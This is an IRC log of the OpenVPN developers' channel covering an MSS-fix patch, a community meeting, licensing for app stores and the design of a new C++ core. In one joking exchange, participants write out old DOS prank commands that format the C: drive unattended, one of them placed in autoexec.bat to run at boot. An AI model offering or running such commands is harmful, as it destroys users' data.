/etc/protocols #define's are sooo unportable 09:02 * dazo re-reads the comment again 09:02 <@cron2> so basically OPENVPN_IPPROTO_TCP is "6", because that's the value for "TCP here" (both in "protocol" for IPv4 and "next header" for IPv6) 09:03 <@dazo> I'm not quite sure why you do the return at that point ... if the tunnelled protocol is TCP, don't do MSS fix? 09:03 <@dazo> *not* TCP 09:03 < plaisthos> my mac os x does define IPPROTO_TCP too 09:04 < plaisthos> but probably not all platforms do 09:04 <@cron2> dazo: MSS is an option in a TCP SYN or TCP SYN/ACK packet. Only. 09:04 <@cron2> so "if it's not TCP, there is nothing to fix, return" 09:05 < plaisthos> cron2: if it is not tcp it has no mss :) 09:05 <@cron2> IPv4 does this in the big if ( this and that and even more stuff) 09:05 <@dazo> okay, I think I understand it 09:05 <@cron2> plaisthos: yeah, and that :-) 09:06 <@cron2> dazo: wireshark on TCP handshake really helps here :-) (which is what I did to be sure that I truly understood stuff - and indeed, I didn't, MSS is sent in SYN *and* in SYN-ACK, but I thought it was only in SYN) 09:06 <@dazo> cron2: maybe we should bump your msg(M_INFO, ...) to debug level 09:06 <@cron2> there is a diff2.txt now 09:06 <@cron2> dazo: yes, the msg() needs to go before I send this to the list 09:06 <@dazo> :) 09:06 <@andj> btw, about FOSDEM: I'm booking at NH hotel Aarenberg again... Nice and close to a direct bus, and the central station 09:10 <@dazo> cron2: okay, I think it looks good (diff2), with the msg() calls fixed ... but I've just glared at the patch - not tested it 09:10 * dazo makes a note about andj's hotel 09:13 <@cron2> I forgot to mention that it actually *works* :-)) 09:14 * cron2 will now roll this out on corp OpenVPN servers, get colleague-with-foobared router to test it, and then send to list 09:27 <@dazo> :) 09:28 < novaflash> beep beep 09:29 < novaflash> i hear there's a meet here in *checks clock* 2 and a half hours? 09:29 <@dazo> novaflash: correct ... it'll be a more executive type of meeting than a developers meeting though 09:30 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 09:31 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:31 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:33 < novaflash> executive. okay, i am sharpening my knives. 09:34 <@dazo> hehehe 09:35 <@dazo> reminds me of the old DOS/Windows 3.x joke .... "How to execute Windows, you ask? Easy! delete C:\Windows" 09:36 < novaflash> heh 09:36 < novaflash> back in the day i'd do something nasty like echo echo y | format c: /u /q > c:\autoexec.bat 09:36 < novaflash> err 1 echo 09:37 <@dazo> novaflash: that's for sure auto-execute! :-P 09:37 < novaflash> :-D 09:37 < plaisthos> format /autotest c: did not ask question iirc 09:38 < novaflash> oh i didn't know that one 09:40 <@cron2> so... patch installed... let's see when the shouting will begin :-) 09:40 < novaflash> AARGH 09:40 < novaflash> that didn't take long 09:43 <@cron2> novaflash: since when are you a user of our corp vpn server? *raise eyebrows* 09:43 < novaflash> didn't you know? there's spyware built into all openvpn. we at openvpn tech have full access to all openvpn servers, regardless of passwords or certificates 09:44 < novaflash> no, just kidding of course. :-P 09:53 < plaisthos> novaflash: binary distribution is great right? :D 09:53 <@mattock_> btw. coverity is now tracking the correct git branch 09:53 < novaflash> what do you mean, you didn't notice our spyware code? it was clearly visible in the machine code. 09:54 < plaisthos> novaflash: hehe 09:54 <@mattock_> it should now be possible to switch the branch ourselves, actually 09:54 < plaisthos> novaflash: don't give me ideas .... 09:56 < novaflash> don't worry, i retain copyirght on all my stupid ideas 09:56 < novaflash> so if you were tempted to, you wouldn't be able to implement them 09:56 < plaisthos> :) 09:56 < novaflash> copyright novaflash 2012 09:57 < plaisthos> Maybe I could a license for your stupid idea 09:57 < plaisthos> Changelog: 09:57 < novaflash> now there's a stupid idea 09:57 < plaisthos> - Nothing changed 09:57 < novaflash> 500 euros per year 09:57 < novaflash> unlimited license on my stupid ideas 09:57 < novaflash> hey let's get some beer and get hammered right before the big meeting here 09:57 < plaisthos> - Additional Copyright: Novaflash's hidden trojan license 09:58 < novaflash> new feature added: extra stupidity 09:58 < plaisthos> I don't need that as a feature. I have enough user with this feature already 09:59 < novaflash> so a friend of mine accidentally switched of his computer by working the switch on a powerstrip with his shoes by accident. here's his kludge: https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-snc7/s480x480/486951_446820755380255_957232244_n.jpg 09:59 < novaflash> plaisthos: oh that means it's compatible with your userbase. excellent. 10:00 < plaisthos> :) 10:17 <@mattock_> omg, is this guy a nerd or what? http://www.youtube.com/watch?v=m1pchpDD5EU 10:17 <@vpnHelper> Title: The Chipophone - YouTube (at www.youtube.com) 10:19 <@dazo> hahaha! 10:21 < novaflash> nerd: 10040% 10:21 < novaflash> but he can play it well 10:21 < novaflash> he also seems to me to be dutch 10:24 <@mattock_> linus åkesson, so more likely Swedish 10:24 < novaflash> ah right 10:24 < novaflash> it's just that his accent sounded horribly like dutch 10:24 <@mattock_> could also be Finnish swede, but sounds like a real Swede 10:25 < novaflash> you'd know more about that accent than me ;) 10:25 <@mattock_> probably :P 10:26 <@dazo> that organ is amazing :) 10:30 < plaisthos> Dutch english account sounds different 10:31 < novaflash> not by a lot imo 10:31 < plaisthos> If you are german you will notice that kind difference in different germanic English accents :) 10:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:33 <+krzee> meeting is 1800 utc? 10:33 < novaflash> i thought so 10:33 < novaflash> so in one and a half hour i think 10:33 <+krzee> cool, 90 minutes 10:34 * dazo heads home ... back in about an hour or so 10:34 <+krzee> im at work, hoping it doesnt get busy 10:37 < novaflash> now this is cool https://i.chzbgr.com/completestore/12/11/26/yOAwMjtjmES9Q1pIqem72w2.gif 10:38 <+krzee> awesome! 10:39 < novaflash> SCIENCE BITCH 10:40 -!- dazo is now known as dazo_afk 10:40 < novaflash> also, i once saw a papershredder powered by a hamster wheel. 11:01 -!- raidz_afk is now known as raidz 11:20 <@d12fk> i'll try to make it to the meeting as well, maybe i'll be late though 11:23 <@d12fk> the chipophone guy is from Malmö in Sweden btw 11:24 < novaflash> thank you for the important update on the chipophone guy 11:43 -!- dazo_afk is now known as dazo 11:52 <@mattock_> thanks for the important thanks on the important updte on the chipophone guy 11:54 < novaflash> :) 11:55 < novaflash> Thu Nov 29 12:39:36 2012 us=52636 Initialization Sequence Completed 11:55 < novaflash> WrWRwRwrWRwRwrWRwRwRwrWrWrWRwrWRwRwRwrWrWRwrWRwrWRwrWrWRwrWRwRwRwrWRwRwrWrWRwRwrWrWRwrWrWRwrWrWRwRwrWrWRwRwrWrWrWRwRwrWRwrWrWRwRwrWRwrWrWRwrWRwRwRwrWRwrWrWRwRwrWrWRwRwrWrWRwRwrWrWRwRwrWRwrWRwrWRwrWRwRwrWrWRwrWrWRwRwrWrWRwRwRwrWRwrWrWrWrWRwRwRwRwrWrWrWrWRwRwRwRwrWrWrWrWrWrWrWRwRwrWrWrWrWrWrWrWrWrWRwRwRwRwRwrWrWrWrWrWrWrWrWrWrWrWrWrWrWrWrWrWrWRwRwrWrWrWrWrWRwrWRwrWrWrWrWrWrWrWrWrWRwRwRwRwRwRwRwrWRwr 11:55 < novaflash> WrWrWrWrWrWRwrWrWrWrWrWrWrWRwrWRwRwRwRwRwRwRwRwRwRwRwRwRwRwrWRwrWRwrWrWRwrWRwrWrWRwRwrWrWRwRwrWrWRwRwrWrWRwRwrWrWRwRwrWrWRw^CThu Nov 29 12:39:57 2012 us=534410 event_wait : Interrupted system call (code=4) <- does anyone have ANY clue what this means? i've never seen it before and was hoping one of you guys might know. this is on verb 5 by the way. 11:56 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 11:58 < novaflash> err 11:59 < novaflash> meeting time? 12:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:02 <@dazo> novaflash: no idea ... need to see a call backtrace to understand the context you get that error 12:03 < novaflash> ah never mind dazo 12:03 < novaflash> i think it's just some bozo running his connection on tcp over tcp 12:03 < novaflash> and ramping up the verb to show that shit 12:03 < novaflash> i didn't know that WRWRwrwrR shit came up 12:03 < novaflash> so 12:04 < novaflash> meeting thingees, i are ready and such 12:04 <@dazo> The r/w/R/W stuff comes with --verb 5 ... and tells you about read/write operations on the tunnel and the tcp/udp socket 12:06 < novaflash> as i have now learned ;) 12:06 <@dazo> I forgot which r/w and R/W pairs references which end ... but it's fairly good info .... the concerning part here is the "Interrupted system call (code=4)" ... but if the operation got stopped (ctrl-c, killed, whatever) that might be the reason 12:06 <+krzee> ^ which is handy for finding firewall issues 12:06 < novaflash> usually people don't do verb on that high a level for a simple disconnect problem 12:07 < novaflash> yeah i've got a guy with a silly problem - works okay for small packet traffic, but not large stuff. so ssh is fine, but larger stuff fails. gave him the mssfix info 12:07 < novaflash> maybe that helps for him 12:07 <+krzee> that could be tcp over tcp meltdown, or maybe mtu issue 12:08 < novaflash> yeah tcp over tcp is a problem 12:08 < novaflash> i'm thinking mtu issue myself too 12:10 * dazo wonders where mattock went ... 12:11 < novaflash> oh hi james 12:11 <@jamesyonan> hi 12:11 < novaflash> it's quiet here now. mattock was around just now but... well. not here now. hope he comes back. 12:11 < novaflash> the meeting was supposed to start 10 minutes ago 12:12 * cron2 is here now 12:13 <@cron2> hi James 12:13 <@jamesyonan> hi, cron2 12:14 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:14 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:14 <@mattock_> ah, finally 12:14 <@mattock_> damn empathy 12:14 <@mattock_> it disconnected without saying anything :) 12:14 <@mattock_> everyone set? 12:14 <@dazo> heh ... been talking for your self? ;-) 12:14 * krzee is here from work, so in and out depending on how busy it is 12:14 <@mattock_> yeah 12:14 <@mattock_> :D 12:15 * ecrist too 12:15 <@dazo> d12fk might appear as well, but I don't think we should wait for him now ... we're 15 min past already 12:15 <@mattock_> ok, so here are today's topics: https://community.openvpn.net/openvpn/wiki/Topics-2012-11-29 12:15 <@vpnHelper> Title: Topics-2012-11-29 – OpenVPN Community (at community.openvpn.net) 12:15 <@dazo> everyone from the company present? 12:16 < novaflash> i am present 12:16 <@raidz> here 12:16 < novaflash> james appears to be present as well, and raidz as well 12:16 <@raidz> jamesyonan 12:16 <@cron2> /whois novaflash? 12:16 < novaflash> an idiot 12:16 < novaflash> i mean.. err.. 12:16 <@raidz> introduce yourself johan 12:16 < novaflash> one of the support techs at openvpn technologies 12:16 <@cron2> (sorry if I missed the introduction, I'm not always paying close attention) 12:17 < novaflash> that's okay i don't think i ever did introduce myself here 12:17 < novaflash> i just sort of sidled in 12:17 < novaflash> sneakily 12:17 <@cron2> now done :-) - welcome to the secret society 12:17 * novaflash does secret handshake 12:17 <@mattock_> novaflash: btw. where do you live? besides the IRC channel, that is... 12:18 < novaflash> i'm in the netherlands 12:18 <@mattock_> yeah, I thought so 12:18 <@cron2> fun. So how big is OpenVPN tech? 12:18 < novaflash> so i usually am the one answering tickets and questions in #openvpn-as while raidz and co and dreaming of unicorns and fairies 12:18 <@raidz> there are about 7 of us cron2 12:19 < novaflash> 7 billion people working in the company at the moment! 12:19 <@raidz> we are a small bunch 12:19 <@cron2> I assumed so, but sometimes you guess wrong, and that sounded like "having support force round the world, in all time zones!!" :-) 12:19 <@dazo> So, raidz, novaflash, jamesyonan and mattock_ are the company guys here now, right? 12:19 <@raidz> hahaha 12:20 * novaflash checks list of nicks in the channel 12:20 < novaflash> yes. 12:20 < novaflash> i think so 12:20 <@raidz> correct dazo 12:20 <@mattock_> raidz: have you ever formally introduced yourself? 12:20 < novaflash> introduce yourself raidz 12:20 <@raidz> I have a feeling people recognize me, but in case you don't: 12:21 <@cron2> I think he has 12:21 <@cron2> he's the one breaking stuff @ company all day :) 12:21 <@raidz> I am OpenVPN's support engineer, network engineer, and janitor 12:21 <@cron2> what I said 12:21 <@raidz> We wear a lot of hats around here ;-) 12:21 <@raidz> exactly cron2! 12:21 < novaflash> raidz is selling himself short, he's also a ladies man - with a girl on each finger 12:22 <@raidz> not anymore! Just 1 now! 12:22 <@mattock_> shall I give a "flash introduction" of the community guys? 12:22 < novaflash> oh what a tragic accident, just one finger? 12:22 <@dazo> mattock_: makes sense 12:22 <@mattock_> ok 12:22 <@raidz> mattock_: I think I know most of the people in here, but I think it would be nice 12:22 <@raidz> in case any of us don't 12:22 <@cron2> +1 12:23 <@mattock_> andj added polarssl support to openvpn and is maintaining that part... lives in Netherlands 12:23 <+krzee> are the corp guys here? (besides james / mattock) 12:23 <@mattock_> cron2 is one of the IPv6 guys, from Germany 12:23 * cron2 points krzee at "20 lines up" 12:23 < novaflash> krzee: james, mattock, me, raidz. 12:23 <+krzee> oh whoa, i didnt know you were corp 12:23 <@mattock_> then there's the other IPv6 guy who we don't see much (juanjo) 12:24 < novaflash> krzee: surprise 12:24 <@raidz> krzee: we are pretty much it, I am not sure if Francis will make it or not, I don't think he knows how to use IRC 12:24 <@raidz> :-D 12:24 <@cron2> *g* 12:24 <@mattock_> d12fk: is developing the new openvpn-gui for Windows and is also from Germany 12:24 <+krzee> heh 12:24 < novaflash> good, keep it that way, because i say way too many crazy shit on IRC 12:24 <@mattock_> ecrist is taking care of forums, easy-rsa maintenance, #openvpn channel, etc. and is from the States 12:24 <@raidz> I thought cron2 was the ipv6 guy mattock_ 12:25 <@mattock_> ender can introduce himself :D 12:25 <@mattock_> raidz: he's one of them, the active one :) 12:25 < novaflash> raidz: that's what he said 12:25 <@cron2> raidz: I did "IPv6 payload", juanjo did "IPv6 transport" 12:25 < novaflash> ahh. 12:25 <@mattock_> keitsi can also introduce himself :D 12:25 < plaisthos> sup 12:25 <@cron2> both together form "IPv6 support" :-) 12:25 <@cron2> keitsi? 12:25 <@raidz> ahh 12:25 <@mattock_> krzee is also working on forums and IRC like krzee, and I believe he's currently somewhere in the Caribbean :) 12:25 < plaisthos> I managed to get here a bit earlier (reading backlog now) 12:26 <@cron2> and plaisthos is the community janitor 12:26 <@mattock_> plaisthos has done the Android port of OpenVPN and has been pretty active here 12:26 <@mattock_> that's it I guess 12:26 <@cron2> cleaning up some damp and smelly stuff inside socket.c :-) 12:26 <+krzee> <-- pirate of the caribbean ;] 12:26 <@raidz> Nice to re-meet/meet you all! 12:27 <@mattock_> plaisthos: +5 for cleaning up the scary parts 12:27 <@cron2> and dazo is the master of plugins and git 12:27 < novaflash> plaisthos is arne schwabe? 12:27 <@mattock_> ah yes, did I somehow manage to skip dazo 12:27 <@cron2> easy to overlook 12:27 <@mattock_> ? 12:27 <@mattock_> uh 12:27 <@cron2> novaflash: yes 12:27 < novaflash> gotcha 12:27 < plaisthos> novaflash: yes 12:27 < novaflash> gotcha 12:27 <@mattock_> also from Germany? 12:27 <@dazo> I'd like to add that plaisthos is also in charge of overhauling the often feared socket.c code :) 12:27 <@raidz> how did you manage to skip dazo?! 12:27 <+krzee> +5 more for how awesome plaisthos's android client is 12:27 * dazo considers to get grumpy on mattock_ ;-) 12:28 <@cron2> raidz: he's hardly saying anything on IRC these days, so we tend to forget him 12:28 <@raidz> ouch 12:28 <@mattock_> so, dazo is taking care of patch management, cleaning up the codebase and in general doing lots of good work 12:28 <@mattock_> from Norway 12:28 <@cron2> or maybe mattock's IRC client is just ignoring dazo 12:28 < novaflash> poor dazo 12:28 <@dazo> heh ... too much noise from me ;-) 12:28 <+krzee> from norway by way of .cz 12:28 <+krzee> :D 12:28 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 12:28 < novaflash> i hope some of openvpn's donations go to dazo's mental healthcare. those pills can't be cheap. 12:28 * plaisthos is from germany 12:28 < novaflash> oh hello swg0101 12:29 <@raidz> oh, here is one more company guy: swg0101 12:29 < swg0101> hey... 12:29 <@mattock_> hi swg0101 12:29 < swg0101> everyone is coughing here so I stepped away for a bit 12:29 < swg0101> now hopefully I don't get sick 12:29 <@mattock_> swg0101: you're from somewhere near San Francisco? 12:29 <@mattock_> Bay area 12:29 < swg0101> in Davis 12:29 <@cron2> swg0101: so what are you doing? 12:30 < novaflash> yes and he's got brains the size of my balls. wait that didn't come out quite right... 12:30 < swg0101> I am doing cronjobs... haha, jk ;) 12:30 * cron2 has the feeling that "cronjobs" means work 12:30 < novaflash> he's in support and development - he figures out the really gritty problems some of our clients have and proposes fixes 12:30 <+krzee> swg0101, im from the bay originally 12:30 < swg0101> yes, krzee is krzee 12:30 <@mattock_> krzee has no real name afaik 12:31 <@mattock_> he's just krzee 12:31 < swg0101> you are krzee 12:31 <+krzee> this is true, krzee is my name :D 12:31 <@mattock_> I don't think he has an email address, either 12:31 < novaflash> you're all a little krzee 12:31 <@mattock_> :P 12:31 <@mattock_> mkay, are we done with introductions? 12:31 <+krzee> the publishing company of JJK's book didnt like that i have no real name lol 12:31 < swg0101> so what are we talking about? :) 12:31 <@mattock_> swg0101: https://community.openvpn.net/openvpn/wiki/Topics-2012-11-29 12:31 < novaflash> the topics are here 12:31 <@vpnHelper> Title: Topics-2012-11-29 – OpenVPN Community (at community.openvpn.net) 12:31 < novaflash> https://community.openvpn.net/openvpn/wiki/Topics-2012-11-29 12:32 < swg0101> fun stuff :) 12:32 < novaflash> i am seeing openvpn c++ here, i think it that's different from what openvpn has been up till now? 12:32 < novaflash> i assume it was python before and now c++ ? 12:32 <@mattock_> james could probably start by explaining what the C++ thingy is, and what should we do about it 12:32 <@mattock_> jamesyonan: shall you do the honors? 12:33 <@jamesyonan> yes, basically I've been working for a while on a new openvpn core that might (at some point) supplant the 2.x branch 12:33 <@jamesyonan> it's fairly prototypical at this stage 12:33 <@jamesyonan> it's ~ 30K lines of C++ code 12:33 < swg0101> jamesyonan: is that the core that you are working on that allows for different transport protocols on top of OpenVPN? 12:34 <@jamesyonan> yes, among other things 12:34 < swg0101> very interesting 12:34 <@jamesyonan> it is very modular in the sense that SSL/crypto libraries, transport protocols, etc. can be modularized 12:34 <+krzee> is it being built with the 3.0 roadmap in mind? 12:35 <+krzee> sounds like a yes ^ 12:35 <@jamesyonan> basically yes, but it's still incomplete at this point 12:35 <@jamesyonan> right now it's just a client 12:35 <+krzee> (for anyone not familiar, http://community.openvpn.net/openvpn/wiki/RoadMap ) 12:35 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 12:35 <@jamesyonan> it's being used in the OpenVPN tech android client and the upcoming iOS client 12:36 < novaflash> neat. 12:36 <@cron2> hah, he said the word 12:36 <@raidz> :-D 12:36 < novaflash> supercallifragilisticexpialidocious then 12:37 <+krzee> hows it licensed? 12:37 <@jamesyonan> the plan is to release this probably under GPL within the next couple months 12:38 <@mattock_> jamesyonan: I would suggest "in FOSDEM" 12:38 < novaflash> i am not familiar with fosdem? 12:39 <@mattock_> you could give an introduction of it there 12:39 <@cron2> that's an open source conference in brussels, early february 12:39 <@dazo> novaflash: http://fosdem.org/2012/ 12:39 < plaisthos> jamesyonan: with a contributer agreement? So you can merge changes to iOS and the android client base? 12:39 <@mattock_> https://fosdem.org/2013/ 12:39 <@vpnHelper> Title: fosdem.org (at fosdem.org) 12:39 <@vpnHelper> Title: FOSDEM 2013 - Home (at fosdem.org) 12:39 <@jamesyonan> but bear in mind that this is a new code base, and is still far from being a drop-in replacement for 2.x 12:40 < novaflash> so, FOSDEM is an event, not a license type? 12:40 <@mattock_> yeah :D 12:40 <+krzee> novaflash, correct 12:40 < novaflash> righto 12:40 < novaflash> when i went to the frontpage i saw beer mentioned 12:40 < novaflash> so they've got me sold 12:41 <@cron2> .nl->brussels is a nice train trip, andj and jjk did this last year 12:41 < novaflash> jan just keizer? 12:41 < novaflash> yes i don't think brussels is too far, it can be done 12:41 <@jamesyonan> you guys are lucky that you have trains 12:41 <@cron2> novaflash: yeah, we all met last year at fosdem, first ever face-to-face meeting. Very goood. 12:41 <@dazo> what is this rumour about "contributor agreement"? 12:42 < novaflash> jamesyonan: europe is interesting in that it has so much stuff so close together. 12:42 <@cron2> dazo: well, it's a logical consequence: you can't release iOS code under GPL - so if that code is open sourced, and you want people to be able to contribute back, you need them to accept re-releasing it under a non-GPL license 12:42 < novaflash> hm. apple restricting GPL eh? 12:42 <@mattock_> there are other ways to handle the copyright ownership issues which iOS requires 12:42 <@mattock_> none of them are pretty 12:42 <@cron2> (stupid Apple and Microsoft store license shit, but we *need* OpenVPN on these platforms) 12:43 <@mattock_> so we need to somehow minimize damages to everyone involved 12:43 <@cron2> novaflash: Apple store requires "receiver must not modify", GPL requires "receiver must receive source and all rights to modify". Incompatible 12:43 < novaflash> gotcha. 12:43 <@jamesyonan> right, basically we need the ability to relicense the C++ core because of app store issues 12:43 <+krzee> openvpn on native ios will be a pretty fat win 12:43 <@mattock_> there are other options besides contributor agreements 12:44 <@mattock_> but some version of openvpn needs to "compatible" with iOS policies 12:44 < plaisthos> BSD license but I can understand if OpenVPN Corp does not want a BSD licensed OpenVN core 12:44 < novaflash> perhaps if we promise to bring Steve Jobs back to life, Apple will allow us a more flexible licensing method. 12:44 <@mattock_> plaisthos: exactly 12:44 <@dazo> well, I can understand that argument ... from a business perspective .... I can even agree to a kind of contributor agreement that permits re-licensing to Apple and Microsoft stores ... but if the agreement requires copyright handover, then I'm fairly sceptical and will probably drop out instantly 12:45 <@jamesyonan> no, we're certainly not asking for copyright handover 12:45 <@cron2> the agreement would need to be worded carefully to keep the GPL stuff GPLed, and just permit extra licensing 12:45 <@jamesyonan> we just need the ability to relicense if necessary 12:45 <@dazo> fair enough 12:45 * cron2 is fine with that 12:46 <@mattock_> nobody really _wants_ those pesky agreement and bureaucracy... they basically hurt everyone (in our situation) 12:46 <@dazo> jamesyonan: when you have a draft ready, I can check if the GPL lawyer at my work have time to review it and comment it 12:46 < novaflash> the open source project must of course be kept intact, and not have some apple/microsoft bozos stealing it all. 12:47 < novaflash> mattock_: yeah agreed. but best to have it covered. 12:47 <@jamesyonan> dazo: sure 12:47 <@mattock_> dazo: oh yes, you have GPL lawyers at RedHat :D 12:48 < novaflash> that's pretty supercallifragilisticexpialidocious 12:48 <@mattock_> jamesyonan: perhaps you could share a word about the architecture of the C++ codebase... it should help limit the scope of any copyright ownership issues 12:48 < swg0101> dazo works at RH? :) 12:48 <@dazo> mattock_ yeah, Richard Fontana is quite into this stuff 12:48 <@dazo> swg0101: I do 12:48 <@mattock_> yes 12:48 < swg0101> interesting 12:49 < swg0101> security team? 12:49 < novaflash> dazo: he will now try to obtain your company secrets by squeezing your brain like a lemon. 12:49 < swg0101> easy peasy lemon squeezy so they call 12:49 <@jamesyonan> no, as long as openvpn is under GPL, none of the big guys can really steal it 12:49 <@dazo> swg0101: actually, no ... openvpn is one of my spare time projects ... I'm doing real time kernel QA and development of related test tools 12:50 <@jamesyonan> ok, let me give a short primer on the new C++ code base 12:50 <@dazo> +1 12:50 <@mattock_> jamesyonan: that's a valid point... companies like Apple would probably steal the code the very instant it was released under a BSD license 12:51 <@raidz> ^^^ 12:52 <@jamesyonan> right, BSD license would allow any company to create a proprietary fork 12:52 < novaflash> GPL with permissions in specific cases for relicensing would still seem to be the best option 12:52 <@jamesyonan> but I don't see that this could be done with GPL 12:53 <@jamesyonan> and I think we've seen cases in the past, where the big guys have tried to shred the GPL 12:53 <@jamesyonan> MS called it a "cancer" at one point 12:54 <@dazo> yupp 12:54 <@jamesyonan> but I think it has proved it's resiliancy at preventing proprietary forks 12:54 < novaflash> if microsoft hates it, i love it already 12:54 <+krzee> http://en.wikipedia.org/wiki/Viral_license "The term is most often used to describe the GPL, which requires that any derivative work also be licensed with the GPL." 12:54 <@vpnHelper> Title: Viral license - Wikipedia, the free encyclopedia (at en.wikipedia.org) 12:55 <@jamesyonan> so the C++ core is basically an object-oriented rethinking of openvpn from the ground up 12:56 <@jamesyonan> the core leverages on Boost Asio as it's async i/o layer 12:57 <@mattock_> http://www.boost.org/doc/libs/1_52_0/doc/html/boost_asio.html 12:57 <@jamesyonan> rather than sort of roll it's own async i/o layer as the 2.x branch does 12:57 <@vpnHelper> Title: Boost.Asio - 1.52.0 (at www.boost.org) 12:57 <@jamesyonan> Asio is really great 12:58 <@jamesyonan> C++ is an interesting animal 12:59 <@dazo> heh ... that's a nice way to put it 12:59 <@mattock_> I've heard everyone loves C++ 12:59 <@mattock_> :P 12:59 <@cron2> interesting way to word it... (I've never liked C++, especially from a sysadmin perspective it's higly annoying that half the source doesn't compile with half the compilers...) 12:59 < novaflash> i've heard it's better than B++ 12:59 <@jamesyonan> I would have to say that I was originally very sceptical that C++ would be a good systems programming language 12:59 < swg0101> lol 12:59 < swg0101> x++ 12:59 < swg0101> ; 13:00 <@jamesyonan> but here are some of the points that won me over... 13:01 <@jamesyonan> I remember back in maybe '06 I gave C++ a trial run for a network project I was working on 13:01 <@jamesyonan> I used whatever gcc was current at the time, linked in boost Asio, and ran some benchmarks 13:01 <@jamesyonan> this was a very simple server app, sort of like a very basic HTTP server 13:02 <@jamesyonan> it's a program that would have been 60KB written in C but it ended up linking at 600KB in C++ and being several times slower than equivalent C 13:03 <@cron2> now *that* doesn't truly convince me yet :-) 13:03 <+krzee> lol 13:03 <@jamesyonan> then several years layer, maybe around '11 I gave C++ another shot 13:04 <@jamesyonan> this time I used the latest boost and gcc 4.6 13:05 <@jamesyonan> what I discovered is that some really serious optimization work had gone into gcc (and LLVM as well) 13:05 * plaisthos outs himself as C++ programmer too 13:05 <@jamesyonan> for example, the compiler people figured out a really cool way to deal with C++ exceptions so that they didn't incur any overhead unless they are thrown 13:06 <@cron2> plaisthos: if you ever need a new job, one of my customers is doing quite a lot of C++ and Java :-) 13:07 <@raidz> ;-) 13:07 <@jamesyonan> I was quite amazed that I could write very clean, abstracted network code using gcc 4.6 + boost asio and the code size had come down to ~ 60 KB and the compiler seemed to really factor out all the abstraction so the resulting generated code was very efficient 13:07 < plaisthos> llvm guys also figured out how to give you good error messages (: 13:08 <@jamesyonan> yes, llvm is looking good, but it still seems slightly behind gcc on generating fast code from C++ 13:09 <@jamesyonan> but in any event, I think C++ is really ready for prime time in the kind of system programming / networking space that openvpn is in 13:09 <@jamesyonan> some other things I like about modern C++ ... 13:10 <@jamesyonan> it's a very-well standardized language across the different major compilers, i.e. gcc, llvm, visual studio, etc. 13:10 <@mattock_> hmm, even visual studio... that's something 13:10 <@jamesyonan> now granted, I am using C++ 2003 for this project -- haven't ventured into '11 yet 13:11 <@jamesyonan> I wrote ~20K lines before I even tested it on visual studio 13:11 <@jamesyonan> and I think it took under a couple hours to get it building and running with VS 13:12 <@cron2> that is definitely a plus 13:12 < novaflash> yeah a C plus plus (groan) 13:12 <@jamesyonan> so let me get into some of the features of C++ that I think make it well-suited for use as a basis for OpenVPN 13:13 <@jamesyonan> C++ is one of the few languages that supports both static and dynamic polymorphism 13:14 <@jamesyonan> dynamic polymorphism via virtual functions 13:14 <@jamesyonan> and static polymorphism via templates 13:15 <@ecrist> are you suggesting a switch, completely, from C to C++? 13:15 <@jamesyonan> templates are great for network programming, because we have a lot of cases where we have small objects that have polymorphic properties, such as IPv4 vs IPv6 addresses 13:16 <@jamesyonan> I think it makes a lot of sense for OpenVPN 3 to be C++ 13:16 <@ecrist> http://www.joelonsoftware.com/articles/fog0000000069.html 13:16 <@vpnHelper> Title: Things You Should Never Do, Part I - Joel on Software (at www.joelonsoftware.com) 13:16 <@jamesyonan> but I think the 2.x branch should remain in C 13:17 <@ecrist> dazo pointed me to that doc 13:17 <@mattock_> ecrist, dazo: complements, excellent article :) 13:17 <@ecrist> I'd be afraid 3 would never be released 13:18 * cron2 tends to agree on both extents - "rewriting 2.x into C++" is likely to be more effort than "doing it fresh from the start and adding features on the go" 13:18 <@cron2> or so 13:18 <@ecrist> and what did potentially get released would be riddled with bugs that were already solved, or simply not a problem, in our current code base 13:18 <@jamesyonan> I think it's an interesting article, but I disagree with it 13:18 < novaflash> ecrist; at the moment jamesyonan has a prototypical version that is already functioning in c++ as the client in android and now ios. 13:18 < novaflash> or when it is released anyways (for iOS i mean) 13:18 <@ecrist> novaflash: I'm aware 13:19 <@jamesyonan> yes, the C++ core is already in production 13:19 <@cron2> what you can't do is "stop 2.x, rewrite everything, and stall until 3.x is ready" - *that* would be a major mistake 13:19 <@ecrist> but untested relative to the community code base 13:19 <@cron2> ecrist: no, it works nicely 13:20 <@jamesyonan> well actually the C++ core, because it's only a client, ALWAYS connects to an OpenVPN 2.x server 13:20 <@cron2> ecrist: I've given it enough beating that I would be happy for my customers to use it, against a 2.3RC1 server 13:20 <@cron2> and what james says :-) 13:20 <@jamesyonan> cron2 has worked with us on testing the new iOS client 13:20 <@cron2> jamesyonan: do you test C++ -> 2.1/AS or vs. 2.3? 13:21 <@jamesyonan> both 13:21 <+krzee> from our previous talks, a lot of 3.0 would need to be re-write anyways 13:21 <@cron2> yeah 13:21 < novaflash> the OpenVPN Android client that jamesyonan made is capable of working for both the open source server and the access server 13:21 <@raidz> same goes for ios 13:22 <+krzee> to account for making it modular, which sounds to be a lot of what this new core aims for 13:22 <@jamesyonan> yes, the new C++ core is 100% protocol compatible with 2.x branch 13:22 <@ecrist> is it feature-complete? 13:22 -!- Irssi: #openvpn-devel: Total of 15 nicks [9 ops, 0 halfops, 1 voices, 5 normal] 13:22 <@jamesyonan> no, it doesn't have all of the 2.x options 13:23 <@jamesyonan> but it has most of them 13:23 <@raidz> jamesyonan: will it have them all? 13:23 < plaisthos> Having worked with the socket.c code I must say I would not aim at having all options 13:23 < plaisthos> some of them are very disruptive 13:23 * cron2 expected that comment :) 13:24 <@jamesyonan> it could -- right now I believe fragment option is not implemented 13:24 <@jamesyonan> yeah, the new code base doesn't even have a socket.c-like source file 13:25 <@jamesyonan> because Asio handles the i/o layer 